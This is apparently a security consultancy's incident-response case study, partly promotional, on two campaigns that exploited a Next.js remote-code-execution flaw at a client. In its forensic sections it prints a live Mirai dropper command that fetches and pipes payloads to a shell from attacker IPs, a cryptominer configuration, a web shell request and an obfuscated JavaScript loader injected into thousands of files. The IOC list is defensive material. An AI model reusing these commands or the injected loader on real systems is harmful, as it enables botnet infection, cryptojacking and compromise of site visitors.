When Zero-Day Meets Zero-Hour: How Defense-in-Depth Saved Our Client from a Dual Cyberattack

The 3 AM Wake-Up Call That Security Teams Dread

It started with an AWS abuse notification. One of our clients, a fast-growing SaaS platform serving thousands of users, had just been flagged for participating in a 47.75 Gbps DDoS attack.

But this wasn’t a simple compromise. What we uncovered over the next 48 hours was a masterclass in modern cyber warfare: two different sophisticated threat actors, exploiting the same critical zero-day vulnerability, with completely different attack objectives, hitting the same target within hours of each other.

This is the story of how our proactive security architecture and rapid incident response turned what could have been a catastrophic breach into a contained incident with minimal business impact.

The Perfect Storm: React2Shell (CVE-2025-66478)

The Vulnerability

On December 3, 2025, the security community was rocked by the disclosure of CVE-2025-66478 (CVSS 10.0), a critical remote code execution vulnerability in Next.js applications using React Server Components. The flaw, stemming from prototype pollution in React’s Flight protocol, allowed unauthenticated attackers to execute arbitrary code on vulnerable servers.

The kicker? Public exploits emerged within 30 hours of disclosure. Automated scanners began sweeping the internet. Our client’s application was running a vulnerable version.

Timeline of Terror

December 5, 2025 – Early Morning UTC: Mass scanning begins. Threat actors worldwide start hunting for vulnerable Next.js instances.

December 6, 2025 – 00:00-05:14 UTC: First attack wave hits. The “nuts” campaign, a coordinated botnet operation deploying Mirai DDoS malware and XMRig cryptocurrency miners.

December 6, 2025 – 16:57-16:59 UTC: Second, more sophisticated attack. A targeted supply chain compromise attempting to inject malicious JavaScript into 20,606+ application files.

December 6, 2025 – 05:14:16 UTC: AWS detects and blocks the DDoS traffic after just 28 seconds.

December 8, 2025 – 11:29 UTC: Our incident response team engages, beginning comprehensive forensic analysis.

Attack #1: The “nuts” Campaign – Cryptojacking at Scale

What Happened

The first attacker exploited React2Shell to achieve remote code execution, then deployed a sophisticated multi-stage malware payload:

Stage 1: Mirai Botnet Binary

# Attacker's command executed on the server
(cd /dev;
 busybox wget http://31.56.27.76/n2/x86;
 chmod 777 x86;
 ./x86 reactOnMynuts;
 busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh)

Stage 2: XMRig Cryptominer

Binary size: 2.8 MB
Target wallet: 45Sp7oqA8vbUJyZiWhyKT7cm1tyRJ492WTwms5n1VfDbCqUcwUttVTF7PDGivefCWm7dxN3uRAAckGU9BLoMCmgAJduR4d4
Mining pools: 194.87.178.21:443, 37.114.37.94:80
Campaign identifier: reactOnMynuts

The malware featured:

Competitor suppression: Actively killed competing miners (“rondo” campaign)
Persistence mechanisms: Watchdog scripts, background execution
Anti-forensics: Timestamp manipulation to hide file modifications
DDoS capability: Participated in a 47.75 Gbps UDP flood attack

The Evidence

Our forensic analysis of the compromised container revealed:

/tmp/fghgf         - 2,804,644 bytes  - XMRig miner binary
/tmp/config.json   - 3,715 bytes      - Mining configuration
/tmp/docker-daemon - 9,506,808 bytes  - Obfuscated payload
/tmp/dockerd       - 3,681,612 bytes  - Additional malware component

The mining configuration file told the whole story:

{
  "pools": [
    {
      "url": "194.87.178.21:443",
      "user": "45Sp7oqA8...AJduR4d4",
      "keepalive": true,
      "enabled": true
    }
  ],
  "cpu": {
    "enabled": true,
    "huge-pages": true,
    "background": true
  }
}

This wasn’t amateur hour. The attackers configured huge pages for maximum mining performance and background execution to evade detection.

Attack #2: The “kajwdhxhks” Campaign – Supply Chain Nightmare

A More Sinister Objective

While the first attack aimed to steal server resources, the second attacker had their sights set on something far more valuable: your users.

This sophisticated threat actor used React2Shell to deploy a persistent web shell at the endpoint /kajwdhxhks, then executed a multi-stage payload designed to compromise every visitor to the website.

The Attack Chain

16:57:37 UTC – Initial RCE Attempt

POST / HTTP/1.1
Headers: Next-Action: *, RSC: 1
Content-Type: multipart/form-data
Response: 301 (container crashed, restarted)

16:58:27 UTC – Successful Web Shell Deployment

POST / HTTP/1.1
Execution time: 5.005 seconds (RCE successful)

GET /kajwdhxhks?cmd=whoami
Response: 200 OK (70 bytes)
Status: WEB SHELL ACTIVE ✓

16:58:33 UTC – Malware Deployment

The attacker used the web shell to deploy a double-base64 encoded payload that:

Scanned for all JavaScript files in the application
Injected malicious code into each file
Restored original timestamps (anti-forensics)
Cleaned up evidence (deleted dropper scripts)

The Malicious Payload

Every infected JavaScript file had this code appended:

function xorDecode(b,a){
  a=void 0===a?22:a;
  b=atob(b);
  for(var d="",c=0;c<b.length;c++)
    d+=String.fromCharCode(b.charCodeAt(c)^a);
  return d
}

(function(){
  var b="https://"+xorDecode("en8nOGZ/dWU5fjlxeTh8ZQ=="),
  a=document.createElement("script");
  a.src=b;  // Decodes to: https://li1.pics/h/go.js
  document.head.appendChild(a)
})();

What this means: Every user who visited the website after 16:58 UTC would unknowingly download and execute attacker-controlled JavaScript from li1.pics/h/go.js.

Potential impacts:

Session hijacking
Credential theft
Browser-based cryptomining
Phishing redirects
Data exfiltration

The Scale of Infection

Our forensic analysis revealed the true scope:

# Files containing malicious payload
grep -r 'xorDecode' /app | wc -l
→ 20,606 infected files

Twenty thousand, six hundred and six files. Every JavaScript and TypeScript file in the application, including:

Production build artifacts (.next/server/)
Source code files
Configuration files
Even node_modules dependencies

How Techwards’ Security Architecture Prevented Catastrophe

Defense-in-Depth in Action

Despite both attacks successfully exploiting the zero-day vulnerability, our client suffered minimal business impact. Here’s why:

1. Least-Privilege Container Architecture

The application ran inside a Docker container with hardened security configurations:

✅ Non-privileged execution – Container ran without elevated privileges ✅ AppArmor enabled – Mandatory access controls prevented container escape ✅ No Docker socket mounting – Attackers couldn’t pivot to host system ✅ Standard Linux capabilities – Minimal permissions, no dangerous capabilities ✅ Network isolation – Internal Docker network segmentation

Result: Despite achieving RCE, attackers were confined to the container. No host compromise. No lateral movement to databases or other services.

2. Network Security Layering

While the docker-compose.yml configuration exposed Redis (6379) and PostgreSQL (5432) ports internally, AWS Security Groups acted as the critical outer firewall, allowing only:

Port 80 (HTTP)
Port 443 (HTTPS)

# AWS Security Group Configuration (Effective Firewall)
Inbound Rules:
- Port 443: HTTPS (0.0.0.0/0)
- Port 80:  HTTP  (0.0.0.0/0)
- Port 22:  SSH   (Office IP only)

# Blocked at network layer:
- Port 6379: Redis    (BLOCKED)
- Port 5432: PostgreSQL (BLOCKED)

Result: Even with container compromise, attackers could not access Redis or PostgreSQL from the internet. The docker-compose misconfiguration was rendered moot by proper network segmentation.

This is a perfect example of defense-in-depth: one layer’s misconfiguration (docker-compose) was caught by another layer’s proper configuration (AWS Security Groups).

3. Container Crash as Accidental Defense

The malware execution was so resource-intensive that it caused repeated container crashes:

Container: xxxxx-frontend-prod
Status: exited
ExitCode: 1 (abnormal termination)
RestartCount: 28
Error: spawnSync /bin/sh ETIMEDOUT (repeated)

While this created service interruptions, it prevented full malware persistence and limited the cryptominer’s effectiveness. The container’s instability became an unintentional kill switch.

4. AWS DDoS Detection & Response

AWS automatically detected and blocked the DDoS attack:

Attack: 47.75 Gbps UDP flood to 185.211.78.1:80
Duration: 28 seconds
Packets: 4,331,434 sent
AWS Action: Outbound port 80 UDP blocked

Response time: 28 seconds. From attack start to mitigation.

5. Comprehensive Logging & Forensics

Our client had configured extensive logging:

26 MB access logs (117,000+ requests captured)
511 MB container logs
Full Docker container snapshots
Network flow logs

This allowed us to:

Reconstruct the complete attack timeline
Identify both attack campaigns
Prove the scope of compromise
Document evidence for law enforcement

The Techwards Response: 48 Hours from Breach to Remediation

Hour 0-4: Detection & Containment

11:29 UTC – AWS abuse notification triggers our incident response
11:48 UTC – Container immediately stopped, preventing further infections
12:03 UTC – Forensic container snapshot captured (1.4 GB)
12:10 UTC – Container image exported for offline analysis

Hour 4-24: Forensic Analysis

Our team’s deep-dive investigation revealed:

✅ Both attacks confirmed successful (malware binaries found, files infected)
✅ Attack vectors identified (React2Shell exploitation chains documented)
✅ Threat actor infrastructure mapped (C2 servers, mining pools, domains)
✅ Complete timeline reconstructed (minute-by-minute attack chronology)
✅ Impact assessment completed (server compromised, visitor exposure quantified)
✅ Critical finding: 20,606 infected JavaScript files serving malicious code to website visitors.

Hour 24-48: Remediation & Hardening

Application Recovery:

# Rolled back to clean commit (before December 5)
git checkout <safe-commit>

# Applied Next.js security patch
npm update next@latest  # Updated to patched version 15.0.5

# Fresh build from clean source
npm ci && npm run build

# Deployed via CI/CD pipeline

Infrastructure Hardening:

# Verified AWS Security Groups (already correctly configured)
- Confirmed only ports 80/443 exposed
- Confirmed internal services (Redis/DB) unreachable from internet

# Added AWS WAF rules
- Rate limiting on POST requests
- React2Shell signature blocking
- Known attacker IP blacklisting

# Implemented Content Security Policy
- Blocked third-party script loading
- Prevented connections to li1.pics
- Enforced strict-origin-when-cross-origin

Verification:

# Confirmed web shell removed
curl https://app.xxxxx.org/kajwdhxhks?cmd=id
→ 404 Not Found ✓

# Confirmed no malicious code
grep -r 'xorDecode' /app
→ No matches ✓

# Confirmed mining processes killed
ps aux | grep -E 'fghgf|xmrig'
→ No processes ✓

Post-Incident: Lessons Implemented

Automated Vulnerability Scanning

GitHub Dependabot enabled
Daily security scans
Automated PR creation for critical CVEs
SLA: Critical patches within 24 hours

Enhanced Monitoring

Real-time anomaly detection
CPU/memory threshold alerting
File integrity monitoring (AIDE)
Network connection monitoring

Incident Response Improvements

Documented runbooks
Automated container forensics
Dedicated incident response team
24/7 security operations center

The Numbers: Quantifying the Impact

What Could Have Happened (Without Proper Security)

❌ Cryptocurrency theft: Unlimited mining duration, potential thousands in stolen compute
❌ Data breach: Full database access via exposed PostgreSQL
❌ Session hijacking: All user accounts compromised
❌ Ransomware deployment: Lateral movement to host system
❌ Complete infrastructure takeover: Docker socket exploitation
❌ Regulatory fines: GDPR violations (€20M or 4% revenue)
❌ Reputation destruction: Public disclosure of massive breach

What Actually Happened (With Techwards Architecture)

✅ Cryptomining: Limited to container, crashed repeatedly, minimal CPU theft
✅ Database access: Completely prevented by AWS Security Groups
✅ User impact: Zero credential breaches (databases never reached)
✅ Lateral movement: Blocked by container isolation
✅ Host compromise: Prevented by least-privilege architecture
✅ Total downtime: ~30 hours (investigation + rebuild)
✅ Data loss: Zero (only container filesystem affected)

Attack Statistics

Metric	Value
Infected files detected	20,606
Malware binaries found	4 (12.7 MB total)
DDoS attack volume	47.75 Gbps
AWS response time	28 seconds
Container restarts	28 (prevented persistence)
Time to containment	19 minutes (from detection)
Time to full remediation	48 hours
Customer data compromised	0 records

Key Takeaways: Defense-in-Depth Works

1. Assume Breach, Limit Blast Radius

We couldn’t prevent the zero-day exploitation, but we prevented it from mattering. Container isolation meant that even with full RCE, attackers were trapped in a sandbox.

Lesson: Application-level vulnerabilities are inevitable. Your architecture must assume compromise and limit damage.

2. Network Security Layering Saves Lives

The docker-compose misconfiguration (exposed Redis/PostgreSQL ports) should have been catastrophic. But AWS Security Groups acting as a proper firewall meant this configuration error was harmless.

Lesson: Defense-in-depth means one layer’s mistake is caught by another layer. Never rely on a single security control.

3. Observability Enables Response

Without comprehensive logging, we would have been flying blind. The 26 MB of access logs and 511 MB of container logs allowed us to:

Identify both attack campaigns
Prove the scope of compromise
Document every attacker action
Provide evidence to law enforcement

Lesson: You can’t respond to what you can’t see. Invest in logging and monitoring.

4. Patch Management is NOT Optional

CVE-2025-66478 had patches available for 2 days before the incident. The client was in the process of updating but hadn’t completed deployment.

Cost of delay: Two successful breaches, 48 hours of remediation, thousands in incident response costs.

Lesson: Critical security patches (CVSS 9.0+) should be deployed within 24 hours. Automate this process.

5. Incident Response Speed Matters

From AWS notification to container shutdown: 19 minutes.

Every minute the compromised container ran, more users were potentially affected. Our rapid response limited the exposure window.

Lesson: Have an incident response plan. Practice it. When attackers are moving at machine speed, humans need to be ready.

Threat Intelligence: Know Your Enemy

Attacker #1: “nuts” Campaign

Profile: Organized cybercrime group, financially motivated Infrastructure: 193.34.213.150, 31.56.27.76, multiple backup servers Tools: Mirai variant, XMRig 6.24.0, custom droppers Sophistication: Medium (automated mass exploitation) Victims: 220+ confirmed across multiple industries

Monero Wallet: 45Sp7oqA8vbUJyZiWhyKT7cm1tyRJ492WTwms5n1VfDbCqUcwUttVTF7PDGivefCWm7dxN3uRAAckGU9BLoMCmgAJduR4d4

This wallet has been linked to multiple cryptojacking campaigns. We’ve reported it to blockchain analysis firms and law enforcement.

Attacker #2: “kajwdhxhks” Campaign

Profile: Advanced Persistent Threat (APT), data theft focused Infrastructure: 188.244.119.90, li1.pics domain Tools: Custom web shells, XOR obfuscation, anti-forensics Sophistication: High (targeted, multi-stage, supply chain focus) Signature: /kajwdhxhks endpoint (unique to this attacker)

C2 Domain: li1.pics (actively serving malware as of this publication)

This domain is still active and should be blocked at your firewall/DNS level immediately.

What This Means for Your Organization

Are You Vulnerable?

If you’re running:

Next.js 15.x, 16.x, or 14.3.0-canary.77+ → You are vulnerable
React Server Components → You are vulnerable
App Router architecture → You are vulnerable

The solution:

# Update to patched versions immediately
npm update next@latest

# Or specifically:
npm install next@15.0.5  # or 15.1.9, 15.2.6, 15.3.6, etc.
npm install next@16.0.7  # for Next.js 16.x users

# Verify protection
npx fix-react2shell-next

Security Architecture Checklist

Ask yourself these questions:

Container Security:

Are your containers running as non-root?
Do you use AppArmor/SELinux profiles?
Are Docker sockets mounted in containers? (They shouldn’t be)
Do you have resource limits configured?

Network Security:

Do you use AWS Security Groups or equivalent firewall?
Are internal services (Redis, PostgreSQL) truly internal?
Is there only ONE layer of network security, or multiple?
Do you have a Web Application Firewall (WAF)?

Observability:

Do you retain logs for at least 90 days?
Can you reconstruct a complete attack timeline?
Do you have alerting on abnormal behavior?
Are container snapshots automated?

Incident Response:

Do you have a documented IR plan?
Can you isolate a compromised service in under 30 minutes?
Do you practice incident response drills?
Do you have a security partner on retainer?

If you answered “no” to 3 or more questions, you need to talk to us.

How Techwards Can Help

At Techwards, we specialize in proactive security architecture and rapid incident response. Our approach:

Proactive Security (Before Attacks)

Security Architecture Review

Container security hardening
Network segmentation design
Defense-in-depth implementation
Least-privilege access controls

Automated Vulnerability Management

CI/CD security scanning
Dependency monitoring (Dependabot, Snyk)
Automated patching pipelines
24-hour SLA on critical CVEs

Observability & Monitoring

Centralized logging (ELK, Datadog)
Real-time anomaly detection
File integrity monitoring
Custom security alerting

Reactive Response (During Incidents)

Incident Response Services

24/7 emergency response team
Forensic analysis and evidence collection
Threat actor identification
Complete timeline reconstruction

Remediation & Recovery

Malware removal and verification
Infrastructure hardening
Patch deployment
User communication support

Post-Incident Hardening

Lessons learned documentation
Process improvements
Security control validation
Compliance reporting (GDPR, CCPA, etc.)

The Reality of Modern Cyber Threats

This incident proves several harsh truths:

1. Zero-day exploitation happens at machine speed. From CVE disclosure to mass exploitation: 30 hours. Your manual patch process isn’t fast enough.

2. You will face multiple attackers simultaneously. Different threat actors, different objectives, same vulnerability. Your defenses must handle parallel attacks.

3. Perfect prevention is impossible. Perfect containment is achievable. We couldn’t prevent the RCE. But we prevented it from destroying the business.

4. Security is not a feature, it’s an architecture. Least privilege, network segmentation, defense-in-depth, these aren’t nice-to-haves. They’re the difference between a contained incident and a catastrophic breach.

5. You need experts in your corner. When attackers are deploying multi-stage malware with anti-forensics and supply chain compromise, you need a team that’s seen it before.

Conclusion: The Choice is Yours

Our client faced two sophisticated cyberattacks from different threat actors in the same 48-hour window. Both attacks were successful at the application level. Both achieved remote code execution. Both deployed malware.

But the business impact was minimal.

Why? Because security was built into the architecture, not bolted on afterward. Because defense-in-depth meant that one breach didn’t mean total compromise. Because we had the expertise to respond at the speed of modern threats.

The question for your organization: When (not if) you face a similar attack, will your architecture hold? Will your team know what to do? Will you be able to recover in 48 hours, or 48 days?

Take Action Now

If you’re running Next.js:

Patch immediately: npm update next@latest
Verify: npx fix-react2shell-next
Review your container security configuration
Test your incident response plan

If you want Techwards to assess your security posture:

📧 Email: info@techwards.co

IOCs for Your Security Team

Block these immediately:

IP Addresses:

188.244.119.90  # kajwdhxhks attacker
193.34.213.150  # nuts C2 server
31.56.27.76     # Mirai distribution
194.87.178.21   # Mining pool
37.114.37.94    # Mining pool backup

Domains:

li1.pics  # Browser backdoor C2

File Signatures:

SHA256: [Calculate from /tmp/fghgf if found]
Monero Wallet: 45Sp7oqA8vbUJyZiWhyKT7cm1tyRJ492WTwms5n1VfDbCqUcwUttVTF7PDGivefCWm7dxN3uRAAckGU9BLoMCmgAJduR4d4

Web Shell Pattern:

/kajwdhxhks?cmd=

JavaScript Malware:

xorDecode("en8nOGZ/dWU5fjlxeTh8ZQ==")  // Decodes to li1.pics/h/go.js

If you found this case study valuable, please share it with your network. Every organization running Next.js needs to know about this vulnerability and these active attack campaigns.

#CyberSecurity #IncidentResponse #NextJS #React2Shell #CVE202566478 #Techwards #DefenseInDepth

Techwards is a cybersecurity and DevOps consulting firm specializing in cloud-native application security, incident response, and infrastructure hardening. Based in Pakistan, we serve clients globally with 24/7 emergency response capabilities.

This case study is based on a real incident. Customer details have been anonymized to protect confidentiality. Attack infrastructure details are shared to benefit the security community.

When Zero-Day Meets Zero-Hour: How Defense-in-Depth Saved Our Client from a Dual Cyberattack